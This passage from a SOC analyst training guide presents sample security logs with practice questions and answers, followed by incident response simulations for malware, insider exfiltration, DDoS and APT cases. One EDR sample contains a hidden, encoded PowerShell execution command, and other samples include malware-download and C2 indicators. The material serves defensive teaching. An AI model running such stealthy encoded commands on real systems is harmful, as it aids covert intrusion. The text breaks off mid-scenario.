H.3 Authentication Logs

Example Log Entry:

```
Oct 28 14:22:32 server-1 sshd[1234]: Failed password for invalid user admin from 203.0.114.45 port 52220 ssh2
Oct 28 14:22:33 server-1 sshd[1234]: Failed password for invalid user admin from 203.0.114.45 port 52221 ssh2
Oct 28 14:22:34 server-1 sshd[1234]: Failed password for invalid user admin from 203.0.114.45 port 52222 ssh2
```

Description: A series of failed login attempts from an external IP address attempting to use a non-existent username.

Practice Questions:

1. What pattern do you notice in the failed login attempts?
2. How would you categorise this activity (e.g., brute force, reconnaissance)?
3. What steps should be taken to prevent further attempts?

H.4 Web Server Logs

Example Log Entry:

```
192.168.1.10 - - [28/Oct/2024:14:22:32 +0000] "GET /admin/login.php HTTP/1.1" 200 3456 "-" "Mozilla/5.0 (Windows NT 11.0, Win64, x64)"
192.168.1.10 - - [28/Oct/2024:14:22:35 +0000] "POST /admin/login.php HTTP/1.1" 401 567 "-" "Mozilla/5.0 (Windows NT 11.0, Win64, x64)"
192.168.1.10 - - [28/Oct/2024:14:22:38 +0000] "POST /admin/login.php HTTP/1.1" 200 678 "-" "Mozilla/5.0 (Windows NT 11.0, Win64, x64)"
```

Description: A user accessing the admin login page of a web application, followed by an unsuccessful login attempt and eventual successful login.

Practice Questions:

1. What do the HTTP response codes (200, 401) indicate about the user's activity?
2. How might this activity relate to a potential security incident?
3. What additional logs or actions should be investigated to confirm malicious behaviour?

H.5 SIEM Correlation Alerts

Example Alert:

Alert: "Suspicious Network Traffic Detected"

Correlation Rule: Multiple failed login attempts followed by a successful login within 5 minutes.

Sources:

- Authentication Logs: Failed password attempts from 203.0.114.45
- Firewall Logs: Blocked outbound traffic to 198.51.100.1
- Web Server Logs: Successful login from 203.0.114.45

Description: A correlation alert generated by the SIEM system highlighting suspicious behaviour involving multiple failed login attempts and a successful login.

Practice Questions:

1. What is the significance of correlating logs from multiple sources?
2. How does this alert help prioritise investigation efforts?
3. What steps would you take to investigate and respond to this alert?

H.6 DNS Query Logs

Example Log Entry:

```
Jan 15 09:22:32 DNS-Server query[12345]: client 203.0.113.45#54321: query: malicious-domain.com IN A +
```

Description: A DNS server log indicating a query for a suspicious domain, "malicious-domain.com," by an internal client.

Practice Questions:

1. What might be the reason for a client querying this domain?
2. How can you verify whether this domain is truly malicious?
3. What actions can you take to protect other clients on the network?

H.7 Endpoint Detection and Response (EDR) Logs

Example Log Entry:

```
2024-10-28 14:22:32 EDR-Agent: Detected suspicious process execution.
Host: Workstation-12
Parent Process: powershell.exe
Command Line: powershell.exe -nop -w hidden -enc d2hvYW1pCg==
File: C:\Windows\Temp\malicious.ps1
```

Description: An EDR tool detected a suspicious PowerShell execution on an endpoint. The command indicates possible encoded execution.

Practice Questions:

1. What does the -nop -w hidden -enc flag suggest about the process?
2. How can you decode the d2hvYW1pCg== string to investigate further?
3. What actions should be taken to remediate this incident?

H.8 Proxy Server Logs

Example Log Entry:

```
203.0.113.50 - - [15/Jan/2024:09:22:32 +0000] "GET http://suspicious-site.com/malware.zip HTTP/1.1" 200 1048576 "-" "Mozilla/5.0 (Windows NT 11.0, Win64, x64)"
```

Description: A proxy log showing a user attempting to download a file ("malware.zip") from a suspicious site.

Practice Questions:

1. Why might this request be flagged as suspicious?

2. What other logs or alerts should be reviewed to determine the impact?

3. What immediate steps can you take to mitigate the risk?

H.9 Email Security Logs

Example Log Entry:

```
2024-10-28 14:22:32 Mail-Server: Alert - Suspicious email detected
Subject: "Urgent Invoice"
From: attacker@phishing-domain.com
To: user@company.com
Attachment: invoice.pdf (MD5: 5d41402abc4b2a76b9719d911017c592)
```

Description: An email security system flagged a suspicious email with a malicious attachment disguised as an invoice.

Practice Questions:

1. How can you confirm whether the attachment is malicious?

2. What other users might have received similar emails?

3. What should be done to prevent future occurrences?

H.10 Application Logs

Example Log Entry:

```
Oct 28 14:22:32 App-Server app[4321]: Error: Unauthorised access attempt detected.
User: admin
IP: 192.168.1.150
Action: Attempted to access /secure-api/v1/data
```

Description: An application log showing an unauthorised access attempt by an internal user trying to access restricted API endpoints.

Practice Questions:

1. What might be the intention behind this unauthorised access attempt?

2. How should you investigate this incident further?

3. What controls or mitigations can be implemented to prevent such attempts in the future?

H.11 Suggested Answers for Sample SIEM Logs

H.1 Firewall Logs

1. What does the log indicate about the source of the traffic?
    - The source IP 192.168.1.50 attempted to connect to the secured server 11.0.0.100 on port 22 (SSH). The traffic was blocked by the firewall.
2. Why might this traffic have been blocked?
    - The firewall may have a rule to block inbound SSH traffic from unauthorised sources or the source IP is not whitelisted for SSH access.
3. What actions should a SOC analyst take in response to this log?
    - Verify if the source IP is legitimate or malicious.
    - Check if the destination server was legitimately configured to receive SSH traffic.
    - Update the firewall rules if necessary or investigate the source IP for further details.

H.2 Intrusion Detection System (IDS) Logs

1. What type of scan is indicated by this log?
    - An Nmap scan using the scripting engine, which could indicate reconnaissance activity.
2. Why is this event flagged as a priority 2 alert?
    - A priority 2 alert indicates potentially harmful activity, but it might not yet be an active attack. Scanning tools can expose vulnerabilities or lead to further malicious activity.
3. How should this event be correlated with other logs to determine the scope of the scan?

  - Cross-check firewall logs for connections from the same IP (192.168.1.100).
  - Look for logs showing lateral movements, failed login attempts or privilege escalation.
  - Analyse endpoint logs for suspicious activities originating from the same source.

H.3 Authentication Logs

1. What pattern do you notice in the failed login attempts?
   - Repeated failed login attempts with a common invalid username admin over different ports, which is typical of a brute force attack.
2. How would you categorise this activity?
   - This is likely a brute force attack or credential-stuffing attempt.
3. What steps should be taken to prevent further attempts?
   - Block the source IP (203.0.114.45) using a firewall or intrusion prevention system (IPS).
   - Enable account lockout policies or CAPTCHAs after multiple failed attempts.
   - Review and strengthen SSH configurations (e.g., disallow root login).

H.4 Web Server Logs

1. What do the HTTP response codes (200, 401) indicate about the user's activity?
   - 200: The request was successful (e.g., accessing the admin login page).
   - 401: Unauthorised access, indicating a failed login attempt.
2. How might this activity relate to a potential security incident?
   - The combination of multiple login attempts and a successful login (200) could indicate credential compromise.
3. What additional logs or actions should be investigated to confirm malicious behavior?
   - Review authentication logs for unusual login patterns.

   - Check if the successful login originated from a known or trusted user/IP.
   - Monitor post-login activity for sensitive data access or unusual requests.

H.5 SIEM Correlation Alerts

1. What is the significance of correlating logs from multiple sources?
   - It helps provide a comprehensive view of the activity, linking individual events to uncover suspicious behavior across the environment.
2. How does this alert help prioritise investigation efforts?
   - Correlation alerts highlight high-risk events (e.g., login failures followed by a success) that require immediate investigation.
3. What steps would you take to investigate and respond to this alert?
   - Identify the user/IP involved in the alert.
   - Analyse the timeline of events across all correlated logs.
   - Take preventive actions, such as isolating the user or IP if necessary.

H.6 DNS Query Logs

1. What might be the reason for a client querying this domain?
   - The query could result from malware, phishing or a legitimate user accessing a compromised resource.
2. How can you verify whether this domain is truly malicious?
   - Cross-reference the domain against threat intelligence feeds.
   - Use tools like VirusTotal or URLVoid to check for blacklists or suspicious activity.
3. What actions can you take to protect other clients on the network?
   - Block the domain at the DNS or proxy server.
   - Scan the querying client for malware or infections.
   - Notify users about potential phishing or malicious campaigns.

H.7 Endpoint Detection and Response (EDR) Logs

1. What does the -nop -w hidden -enc flag suggest about the process?
   - These flags indicate an attempt to execute an encoded PowerShell script in a stealthy manner, likely for malicious purposes.
2. How can you decode the d2hvYW1pCg== string to investigate further?
   - Use a Base64 decoding tool to decode the string. Decoded, it translates to whoami, indicating reconnaissance.
3. What actions should be taken to remediate this incident?
   - Quarantine the endpoint immediately.
   - Investigate further to identify how the malicious script was introduced.
   - Deploy preventive measures like restricting PowerShell usage or applying application whitelisting.

H.8 Proxy Server Logs

1. Why might this request be flagged as suspicious?
   - The request involves downloading a potentially malicious file (malware.zip) from a suspicious domain.
2. What other logs or alerts should be reviewed to determine the impact?
   - Endpoint logs to see if the file was executed.
   - Network traffic to detect potential exfiltration or lateral movement.
3. What immediate steps can you take to mitigate the risk?
   - Block access to the suspicious site at the proxy/firewall.
   - Scan the user's system for malware.
   - Notify and educate users about risky downloads.

H.9 Email Security Logs

1. How can you confirm whether the attachment is malicious?
    - Analyse the MD5 hash (5d41402abc4b2a76b9719d911017c592) using VirusTotal or a sandbox environment.
2. What other users might have received similar emails?
    - Check email server logs for emails with the same sender (attacker@phishing-domain.com) or subject (Urgent Invoice).
3. What should be done to prevent future occurrences?
    - Block the sender domain (phishing-domain.com).
    - Enable email filtering for suspicious attachments.
    - Conduct security awareness training for employees.

H.10 Application Logs

1. What might be the intention behind this unauthorised access attempt?
    - The user might be attempting to gain unauthorised access to sensitive API data, indicating insider threats or misconfigurations.
2. How should you investigate this incident further?
    - Verify the user's permissions and activity logs.
    - Check for similar unauthorised attempts from other users.
3. What controls or mitigations can be implemented to prevent such attempts in the future?
    - Implement role-based access control (RBAC).
    - Enhance logging and monitoring of API access.
    - Educate employees about acceptable usage policies.

APPENDIX I: INCIDENT RESPONSE SIMULATION

Incident response simulations are vital for preparing SOC teams to handle real-world cybersecurity incidents. This appendix provides a detailed guide for conducting realistic simulations, enabling analysts to practice identifying, containing and mitigating threats in a controlled environment. By engaging in these exercises, organisations can assess their readiness, refine their response strategies and strengthen their overall security posture.

I.1 Malware Incident in a Corporate Environment

Scenario: A corporate employee inadvertently downloads a malicious file from a phishing email. The malware spreads to other systems, exfiltrating sensitive data. Your role as a SOC analyst is to analyse logs, identify the malware and mitigate its impact.

Incident Details

- Date: February 15, 2025
- Time: 10:30 AM
- Location: Corporate HQ, Workstation #192.168.10.25
- Impact: Data exfiltration and potential ransomware.

Detection Phase

- The SIEM generates an alert:
    - Alert Name: "Suspicious Traffic to Known Malicious IP"
    - Severity: High
    - Source IP: 192.168.10.25
    - Destination IP: 198.51.100.23
    - Destination Port: 443

Logs

1. Firewall Log

```
Timestamp: 2025-02-15T10:28:45Z
Source IP: 192.168.10.25
```

```
Destination IP: 198.51.100.23
Destination Port: 443
Action: Allowed
```

2. Endpoint Antivirus Log

```
Timestamp: 2025-02-15T10:29:00Z
Event: File detected
File: C:\Users\Employee\Downloads\invoice_2025.pdf.exe
Threat: Trojan.Ransom.Filecoder
Action: Quarantine failed
```

3. DNS Log

```
Timestamp: 2025-02-15T10:28:30Z
Query: malwaresite[.]com
Source IP: 192.168.10.25
Action: Resolved
```

Investigation Phase

1. Analyse Firewall Logs:
    - Outbound traffic to 198.51.100.23 was flagged.
    - This IP is associated with malicious activity.
2. Check Endpoint Logs:
    - Trojan malware was detected but not quarantined.
    - File: invoice_2025.pdf.exe likely triggered the incident.
3. Inspect DNS Logs:
    - Malicious domain malwaresite[.]com resolved, likely used for command and control (C2) communication.
4. Verify SIEM Correlation:
    - Correlation rules confirm repeated outbound connections to known malicious IP.

Containment Phase

- Action Plan:

    - Isolate Host: Disconnect 192.168.10.25 from the network.
    - Block Malicious IP: Add 198.51.100.23 to firewall blocklist.
    - Suspend User Account: Lock employee’s account to prevent further actions.

Eradication Phase

- Use an endpoint protection tool to remove the malware.
- Conduct a full antivirus scan on the affected host.
- Command Example (EDR Tool):

```
remove-threat --host 192.168.10.25 --threat Trojan.Ransom.Filecoder
```

Recovery Phase

1. Restore any compromised files from backups.
2. Monitor the host for abnormal behavior for 72 hours.
3. Conduct user awareness training on identifying phishing emails.

Reporting Phase

- Executive Summary
    - Incident Type: Malware Infection
    - Root Cause: Phishing email opened by an employee.
    - Response Actions: Host isolated, malware removed and IP blocked.
- Technical Summary
    - Affected Host: 192.168.10.25
    - Malware Name: Trojan.Ransom.Filecoder
    - Indicators of Compromise (IOCs):
        - Malicious IP: 198.51.100.23
        - Domain: malwaresite[.]com

Simulated Data Set

1. SIEM Alert:

```
{
  "alert_id": "12345",
  "name": "Suspicious Traffic to Known Malicious IP",
  "severity": "High",
  "source_ip": "192.168.10.25",
  "destination_ip": "198.51.100.23",
  "timestamp": "2025-02-15T10:28:45Z"
}
```

2. Phishing Email Example:

From: invoices@trustedvendor.com
To: employee@corporate.com
Subject: Invoice for February 2025
Body: Please see attached invoice for this month.
Attachment: invoice_2025.pdf.exe

I.2 Unauthorised Data Exfiltration

Scenario: An employee with access to sensitive data transfers confidential files to an unauthorised external cloud storage service. The SOC team is tasked with identifying the suspicious activity, containing the breach and ensuring data security.

Incident Details

- Date: March 10, 2025
- Time: 3:45 PM
- Location: Corporate HQ, Workstation #192.168.10.50
- Impact: Data exfiltration of customer records.

Detection Phase

- The DLP (Data Loss Prevention) system generates an alert:
    - Alert Name: "Large File Transfer to Unauthorised Cloud Storage"
    - Severity: Critical
    - Source IP: 192.168.10.50

- Destination IP: 203.0.113.50
- Destination Port: 443

Logs

1. DLP Alert Log

```
Timestamp: 2025-03-10T15:42:30Z
Source IP: 192.168.10.50
Destination IP: 203.0.113.50
Action: Blocked
File: customer_data_2025.csv
Size: 45 MB
```

2. Proxy Log

```
Timestamp: 2025-03-10T15:40:15Z
Source IP: 192.168.10.50
URL: https:// unauthorisedcloudservice.com/upload
Status: 200 OK
Bytes Uploaded: 45 MB
```

3. Windows Event Log

```
Timestamp: 2025-03-10T15:39:45Z
Event ID: 4670
Description: Permission change on file C:\SensitiveData\customer_data_2025.csv
Modified by: izzmier@corporate.com
```

Investigation Phase

1. Analyse DLP Logs:

   - A large file transfer (45 MB) was blocked, intended for an unauthorised external cloud storage service.
   - File involved: customer_data_2025.csv.

2. Review Proxy Logs:

   - Confirmed that 192.168.10.50 attempted to upload data to unauthorisedcloudservice.com.
   - Action occurred just before the DLP system intervened.

3. Check File Permission Changes:

   - File permission modifications logged under the user account izzmier@corporate.com at 3:39 PM.
   - This indicates an insider's attempt to prepare the file for exfiltration.

4. User Behavior Logs:

   - Anomalies in user activity:
     - Access to sensitive files outside of business hours.
     - Unusual file downloads in the past 24 hours.

Containment Phase

- Action Plan:
  - Disable User Account: Suspend izzmier@corporate.com immediately.
  - Quarantine Affected Host: Disconnect 192.168.10.50 from the network.
  - Revoke Access: Remove all privileged access associated with the user.

Eradication Phase

- Remove unauthorised cloud storage URLs from proxy whitelist.
- Implement stricter file access permissions for sensitive data directories.

Recovery Phase

1. Perform a complete forensic analysis of 192.168.10.50.
2. Ensure the integrity of critical files using backups.
3. Reiterate the acceptable use policy to employees.
4. Enhance monitoring for unusual data access patterns.

Reporting Phase

- Executive Summary
  - Incident Type: Insider Threat – Unauthorised Data Exfiltration
  - Root Cause: Insider access misuse by an employee.

    - Response Actions: Account disabled, unauthorised transfers blocked and sensitive data secured.

- Technical Summary
    - Affected Host: 192.168.10.50
    - User Involved: izzmier@corporate.com
    - Indicators of Compromise (IOCs):
        - Malicious URL: https:// unauthorisedcloudservice.com/upload
        - File Name: customer_data_2025.csv

Simulated Data Set

1. DLP Alert Example:

```
{
  "alert_id": "54321",
  "name": "Large File Transfer to Unauthorised Cloud Storage",
  "severity": "Critical",
  "source_ip": "192.168.10.50",
  "destination_ip": "203.0.113.50",
  "file_name": "customer_data_2025.csv",
  "file_size": "45 MB",
  "timestamp": "2025-03-10T15:42:30Z"
}
```

2. Proxy Log Example:

```
{
  "timestamp": "2025-03-10T15:40:15Z",
  "source_ip": "192.168.10.50",
  "url": "https:// unauthorisedcloudservice.com/upload",
  "status": "200 OK",
  "bytes_uploaded": "45 MB"
}
```

3. Windows Event Log Example:

```
{
  "timestamp": "2025-03-10T15:39:45Z",
  "event_id": 4670,
  "description": "Permission change on file C:\\SensitiveData\\customer_data_2025.csv",
  "user": "izzmier@corporate.com"
}
```

I.3 Distributed Denial of Service (DDoS) Attack

Scenario: An organisation's e-commerce platform experiences downtime due to a sudden surge in traffic from malicious IPs. The attack overwhelms the web server, disrupting services and potentially affecting customer trust and revenue.

Incident Details

- Date: March 20, 2025
- Time: 11:15 AM
- Location: Corporate Web Server (192.168.15.10)
- Impact: Website unavailability, loss of revenue, potential brand damage.

Detection Phase

- The SIEM and Intrusion Detection System (IDS) generate alerts:
  - Alert Name: "Unusual Traffic Spike Detected"
  - Severity: Critical
  - Source IPs: Multiple (over 5,000 unique IPs detected).
  - Target: Web server IP 192.168.15.10, Port 80/443.

Logs

1. Web Server Log

```
Timestamp: 2025-03-20T11:10:25Z
Source IP: 198.51.100.100
Destination IP: 192.168.15.10
Request: GET /index.html
Status Code: 200
Bytes Transferred: 1024
```

2. Firewall Log

```
Timestamp: 2025-03-20T11:12:10Z
Source IP: 203.0.113.15
Destination IP: 192.168.15.10
Destination Port: 443
Action: Allowed
```

3. SIEM Correlation Alert

```
Timestamp: 2025-03-20T11:15:00Z
Event: Traffic Spike Detected
Source IPs: 5,000+ unique IPs
Destination: 192.168.15.10
Port: 80, 443
```

Investigation Phase

1. Analyse Traffic Patterns:
   - Review firewall and web server logs to confirm abnormal traffic volume.
   - High connection rates from over 5,000 unique IPs indicate a DDoS attack.
2. Inspect SIEM Alerts:
   - SIEM correlation confirms excessive inbound traffic targeting the web server.
   - Traffic originates from multiple regions, indicating a botnet.
3. Check Bandwidth Utilisation:
   - Network monitoring tools reveal saturation of internet bandwidth, impacting other services.

Containment Phase

- Action Plan:
  - Block Malicious IPs: Deploy an automated script to block IPs generating excessive requests.
  - Activate Web Application Firewall (WAF): Enable rate-limiting and geofencing rules to mitigate attack traffic.
  - Redirect Traffic: Use a Content Delivery Network (CDN) to absorb excess traffic and distribute the load.
- Example IP Block Command (Firewall):

```
iptables -A INPUT -s 198.51.100.100 -j DROP
```

Eradication Phase

1. Analyse Attack Sources:
   - Investigate botnet patterns to identify potential compromised devices.
2. Update Firewall Rules:
   - Implement stricter access controls and rate limits.
3. Patch Vulnerabilities:
   - Ensure the web server and related systems are up-to-date.

Recovery Phase

1. Restore normal operations for the web server.
2. Monitor traffic for anomalies over the next 72 hours.
3. Communicate with customers about the downtime and mitigation steps.

Reporting Phase

- Executive Summary
  - Incident Type: Distributed Denial of Service (DDoS) Attack
  - Root Cause: High-volume traffic from a botnet overwhelmed the web server.
  - Response Actions: Traffic mitigated through IP blocking, WAF and CDN redirection.
- Technical Summary
  - Target: Web Server (192.168.15.10)
  - Indicators of Compromise (IOCs):
    - Over 5,000 unique malicious IPs.
    - Bandwidth saturation across port 80/443.

Simulated Data Set

1. SIEM Alert Example

```
{
 "alert_id": "78901",
 "name": "Unusual Traffic Spike Detected",
 "severity": "Critical",
 "source_ips": "5000+ unique IPs",
 "target": {
  "ip": "192.168.15.10",
  "ports": [80, 443]
 },
 "timestamp": "2025-03-20T11:15:00Z"
}
```

2. Firewall Log Example

```
{
 "timestamp": "2025-03-20T11:12:10Z",
 "source_ip": "203.0.113.15",
 "destination_ip": "192.168.15.10",
 "destination_port": 443,
 "action": "Allowed"
}
```

3. Web Server Log Example

```
{
 "timestamp": "2025-03-20T11:10:25Z",
 "source_ip": "198.51.100.100",
 "destination_ip": "192.168.15.10",
 "request": "GET /index.html",
 "status_code": 200,
 "bytes_transferred": 1024
}
```

I.4 Unauthorised Data Exfiltration

Scenario: A finance department employee attempts to transfer sensitive payroll files to an unauthorised external email address. Security monitoring tools detect unusual file access patterns and alert the SOC team.

Incident Details

- Date: April 5, 2025
- Time: 3:45 PM
- Employee: Izzmier (Finance Department, UserID: izzmier123)
- Systems Accessed: Payroll Server (192.168.20.15)
- Impact: Potential exposure of confidential employee data.

Detection Phase

- Triggered Alert:
    - Alert Name: "Unusual File Access Detected"
    - Severity: High
    - Description: Unauthorised download of multiple sensitive payroll files within a short time frame.

Logs

1. File Access Log

```
Timestamp: 2025-04-05T15:30:10Z
UserID: izzmier123
Action: Download
File Name: payroll_2025_Q1.xlsx
File Path: /finance/payroll/
Result: Success
```

2. Network Traffic Log

```
Timestamp: 2025-04-05T15:35:22Z
Source IP: 192.168.20.101
Destination IP: 10.0.0.50
Protocol: HTTPS
Bytes Transferred: 5,430,200
```

3. Email Gateway Log

```
Timestamp: 2025-04-05T15:40:30Z
Sender: izzmier123@company.com
Recipient: externaluser@gmail.com
```

Attachment: payroll_2025_Q1.xlsx
Status: Sent

Investigation Phase

1. Analyse File Access Patterns:
    - Confirm unusual access to sensitive files by UserID izzmier123.
    - Correlate file access with network activity logs.
2. Inspect Data Transfer Details:
    - Examine network logs for large outbound data transfers.
    - Cross-reference with email logs to detect unauthorised email activity.
3. User Behavior Analysis:
    - Review recent login times and actions by izzmier123.
    - Identify any deviation from normal behavior patterns.

Containment Phase

- Immediate Actions:
    - Revoke User Access: Disable izzmier123's account in Active Directory.
    - Quarantine Endpoint: Isolate the workstation (192.168.20.101) from the network.
    - Block External Communication: Restrict emails to external domains temporarily.
- Example Command for Access Revocation:

```
net user izzmier123 /active:no
```

Eradication Phase

1. Inspect Endpoint for Malicious Tools:
    - Run antivirus and EDR (Endpoint Detection and Response) tools to detect keyloggers or data exfiltration scripts.
2. Secure Sensitive Data:
    - Encrypt sensitive payroll files and restrict access to authorised personnel only.

3. Update Security Policies:

    - Implement stricter email monitoring and file transfer policies.

Recovery Phase

1. Restore affected systems to normal operations.

2. Notify HR and legal teams for further action against izzmier123.

3. Communicate findings with stakeholders and implement preventive measures.

Reporting Phase

- Executive Summary
    - Incident Type: Insider Threat - Unauthorised Data Exfiltration
    - Root Cause: Abuse of access rights by an internal employee.
    - Response Actions: Detected unusual file access, revoked access and prevented further exfiltration.
- Technical Summary
    - User: izzmier123
    - Target Data: Payroll files (payroll_2025_Q1.xlsx)
    - Indicators of Compromise (IOCs):
        - Multiple downloads of sensitive files.
        - Large outbound HTTPS traffic.
        - Unauthorised email attachments.

Simulated Data Set

1. File Access Log Example

```
{
  "timestamp": "2025-04-05T15:30:10Z",
  "userid": "izzmier123",
  "action": "Download",
  "file_name": "payroll_2025_Q1.xlsx",
  "file_path": "/finance/payroll/",
  "result": "Success"
}
```

2. Network Traffic Log Example

```
{
  "timestamp": "2025-04-05T15:35:22Z",
  "source_ip": "192.168.20.101",
  "destination_ip": "10.0.0.50",
  "protocol": "HTTPS",
  "bytes_transferred": 5430200
}
```

3. Email Gateway Log Example

```
{
  "timestamp": "2025-04-05T15:40:30Z",
  "sender": "izzmier123@company.com",
  "recipient": "externaluser@gmail.com",
  "attachment": "payroll_2025_Q1.xlsx",
  "status": "Sent"
}
```

I.5 APT Stealthy Data Breach

Scenario: The SOC team receives a low-confidence alert indicating unusual communication between a workstation in the R&D department and an external IP address associated with a known threat actor. A deeper investigation reveals signs of lateral movement, privilege escalation and data exfiltration attempts.

Incident Details

- Date: May 15, 2025
- Time: 10:30 AM
- Target System: R&D Workstation (192.168.50.45)
- Threat Actor: APT-901 (Known for targeting research institutions)
- Impact: Compromise of sensitive intellectual property, including research blueprints.

Detection Phase

- Triggered Alerts:
    - Alert Name: "Unusual DNS Query to Known Malicious Domain"
        - Severity: Medium
        - Description: Workstation queried a domain associated with APT-901 C2 (Command-and-Control) servers.
    - Alert Name: "Unusual Data Transfer Volume"
        - Severity: High
        - Description: Large outbound traffic detected from the R&D subnet.

Logs

1. DNS Log

```
Timestamp: 2025-05-15T10:12:00Z
Source IP: 192.168.50.45
Queried Domain: apt901-c2.com
Response: Success
```

2. Lateral Movement Log (Windows Event Log)

```
Timestamp: 2025-05-14T23:45:10Z
Source IP: 192.168.50.45
Target IP: 192.168.50.20
Event ID: 4624
Description: Successful logon via NTLM authentication
```

3. Network Traffic Log

```
Timestamp: 2025-05-15T10:25:30Z
Source IP: 192.168.50.45
Destination IP: 203.0.113.45
Protocol: HTTPS
Bytes Transferred: 12,850,300
```

Investigation Phase

1. Analyse DNS Queries:

    - Identify all endpoints querying apt901-c2.com.

  - Correlate with threat intelligence feeds to confirm malicious activity.

2. Track Lateral Movement:
   - Examine logs for unusual login attempts and privilege escalation events.
   - Trace the attacker's movement across the network.
3. Inspect Outbound Traffic:
   - Analyse network traffic for large data transfers to external IPs.
   - Identify sensitive files accessed or transferred.

Containment Phase

- Immediate Actions:
  - Isolate Compromised Workstation: Disconnect 192.168.50.45 from the network.
  - Block Malicious Domain: Add apt901-c2.com to the DNS blacklist.
  - Quarantine Potentially Compromised Systems: Isolate all systems accessed by the attacker.
- Example Command to Block Domain in Firewall:

```
sudo ufw deny out to any port 80,443 proto tcp from 192.168.50.45 to apt901-c2.com
```

Eradication Phase

1. Remove Persistent Threats:
   - Scan all compromised systems for malware or backdoors.
   - Use EDR tools to identify and terminate malicious processes.
2. Patch Vulnerabilities:
   - Apply security patches to all exploited vulnerabilities.
3. Secure Accounts:
   - Reset passwords for affected accounts.
   - Enable MFA for privileged accounts.

Recovery Phase

1. Restore Systems:
    - Rebuild compromised systems using clean backups.
2. Verify Security:
    - Conduct vulnerability scans to ensure no residual threats.
3. Monitor Post-Incident Activity:
    - Monitor endpoints for signs of re-infection or continued malicious activity.

Reporting Phase

- Executive Summary
    - Incident Type: Advanced Persistent Threat - Data Breach
    - Root Cause: Exploited unpatched vulnerabilities in an R&D workstation.
    - Response Actions: Detected malicious communication, isolated affected systems and eradicated threats.
- Technical Summary
    - Threat Actor: APT-901
    - Targeted Systems: Workstation 192.168.50.45 and lateral movement to other R&D systems.
    - Indicators of Compromise (IOCs):
        - DNS queries to apt901-c2.com.
        - Unusual logins via NTLM.
        - Large outbound traffic to 203.0.113.45.

Simulated Data Set

1. DNS Log Example

```
{
  "timestamp": "2025-05-15T10:12:00Z",
  "source_ip": "192.168.50.45",
  "queried_domain": "apt901-c2.com",
  "response": "Success"
}
```

2. Lateral Movement Log Example

```
{
  "timestamp": "2025-05-14T23:45:10Z",
  "source_ip": "192.168.50.45",
  "target_ip": "192.168.50.20",
  "event_id": 4624,
  "description": "Successful logon via NTLM authentication"
}
```

3. Network Traffic Log Example

```
{
  "timestamp": "2025-05-15T10:25:30Z",
  "source_ip": "192.168.50.45",
  "destination_ip": "203.0.113.45",
  "protocol": "HTTPS",
  "bytes_transferred": 12850300
}
```

I.6 Insider Threat: Data Exfiltration Using Cloud Storage

Scenario: The SOC receives an alert from the DLP (Data Loss Prevention) system indicating a large data transfer to an unauthorised cloud storage service. Investigation reveals an employee uploading confidential financial documents.

Incident Details

- Date: July 5, 2025
- Time: 2:30 PM
- Target System: Finance Department Workstation (192.168.30.75)
- Actor: Izzmier (Finance Analyst, Employee ID: 10234)
- Impact: Unauthorised access and exfiltration of sensitive financial records.

Detection Phase

- Triggered Alerts:
    - Alert Name: "Unauthorised Cloud Storage Upload Detected"
        - Severity: High
        - Description: User uploaded files to a personal cloud storage account using a browser session.
    - Alert Name: "Access to Restricted Financial Files"
        - Severity: Medium
        - Description: User accessed a large volume of sensitive financial documents within a short time.

Logs

1. DLP Alert Log

```
Timestamp: 2025-07-05T14:15:30Z
User: Izzmier
Source IP: 192.168.30.75
Action: File upload
Destination: personalcloudservice.com
File Count: 15
```

2. File Access Log

```
Timestamp: 2025-07-05T14:05:10Z
User: Izzmier
Source IP: 192.168.30.75
Accessed File: FinancialReport_Q2_2025.xlsx
Action: Copy
```

3. Web Proxy Log

```
Timestamp: 2025-07-05T14:20:45Z
Source IP: 192.168.30.75
Destination URL: https://personalcloudservice.com/upload
Bytes Transferred: 5,042,000
```

Investigation Phase

1. Analyse File Access:

- Review file access logs for the user's activities in the days leading up to the incident.
- Identify whether the files accessed were within the scope of the user's role.

2. Examine Network Traffic:

- Inspect web proxy logs for unauthorised connections to cloud storage services.
- Verify the volume and type of data transferred.

3. Correlate User Behavior:

- Check login logs to confirm the user's presence during suspicious activity.
- Look for unusual working hours or access from unfamiliar devices.

Containment Phase

- Immediate Actions:
  - Suspend User Account: Temporarily disable Izzmier's network and system access.
  - Block Unauthorised Service: Add personalcloudservice.com to the organisation's web proxy deny list.
  - Quarantine Affected Workstation: Disconnect 192.168.30.75 from the network for further forensic analysis.

Eradication Phase

1. Audit Files:

- Identify all files accessed or transferred by the user.
- Verify whether any critical or highly sensitive documents were involved.

2. Update Policies:

- Strengthen DLP rules to prevent unauthorised file uploads.
- Restrict access to cloud storage services at the network level.

Recovery Phase

1. Restore Operations:
    - Revoke Izzmier’s access to sensitive systems.
    - Monitor the department's network activity for further anomalies.
2. Conduct Awareness Training:
    - Reinforce insider threat awareness among employees.
    - Emphasise the consequences of policy violations.

Reporting Phase

- Executive Summary
    - Incident Type: Insider Threat - Data Exfiltration
    - Root Cause: Malicious activity by an employee with authorised access.
    - Response Actions: Detected and blocked data transfer, disabled user access and secured sensitive documents.
- Technical Summary
    - Actor: Izzmier, Finance Analyst
    - Targeted Files: Sensitive financial reports, including Q2 2025 data.
    - Indicators of Compromise (IOCs):
        - File uploads to personalcloudservice.com.
        - Access to restricted files outside normal workflow.

Simulated Data Set

1. DLP Log Example

```
{
  "timestamp": "2025-07-05T14:15:30Z",
  "user": "Izzmier",
  "source_ip": "192.168.30.75",
  "action": "file_upload",
  "destination": "personalcloudservice.com",
  "file_count": 15
}
```

2. File Access Log Example

```
{
 "timestamp": "2025-07-05T14:05:10Z",
 "user": "Izzmier",
 "source_ip": "192.168.30.75",
 "accessed_file": "FinancialReport_Q2_2025.xlsx",
 "action": "copy"
}
```

3. Web Proxy Log Example

```
{
 "timestamp": "2025-07-05T14:20:45Z",
 "source_ip": "192.168.30.75",
 "destination_url": "https://personalcloudservice.com/upload",
 "bytes_transferred": 5042000
}
```

I.7 Advanced Persistent Threat (APT): Long-Term Reconnaissance

Scenario: The SOC detects unusual PowerShell activity and suspicious communication with a remote IP. Further investigation reveals an APT actor using malware to gain persistence and conduct lateral movement within the network.

Incident Details

- Date: August 10, 2025
- Time: 8:45 PM
- Target System: IT Admin Workstation (192.168.40.23)
- Actor: APT Group "Falcon Horizon"
- Impact: Prolonged unauthorised access and reconnaissance within the corporate network.

Detection Phase

- Triggered Alerts:
    - Alert Name: "Suspicious PowerShell Execution"
        - Severity: High

        - Description: PowerShell script executed with encoded commands.

    - Alert Name: "Unusual Network Activity"

        - Severity: Critical

        - Description: Outbound communication to a known malicious IP address.

Logs

1. Endpoint Detection and Response (EDR) Alert

```
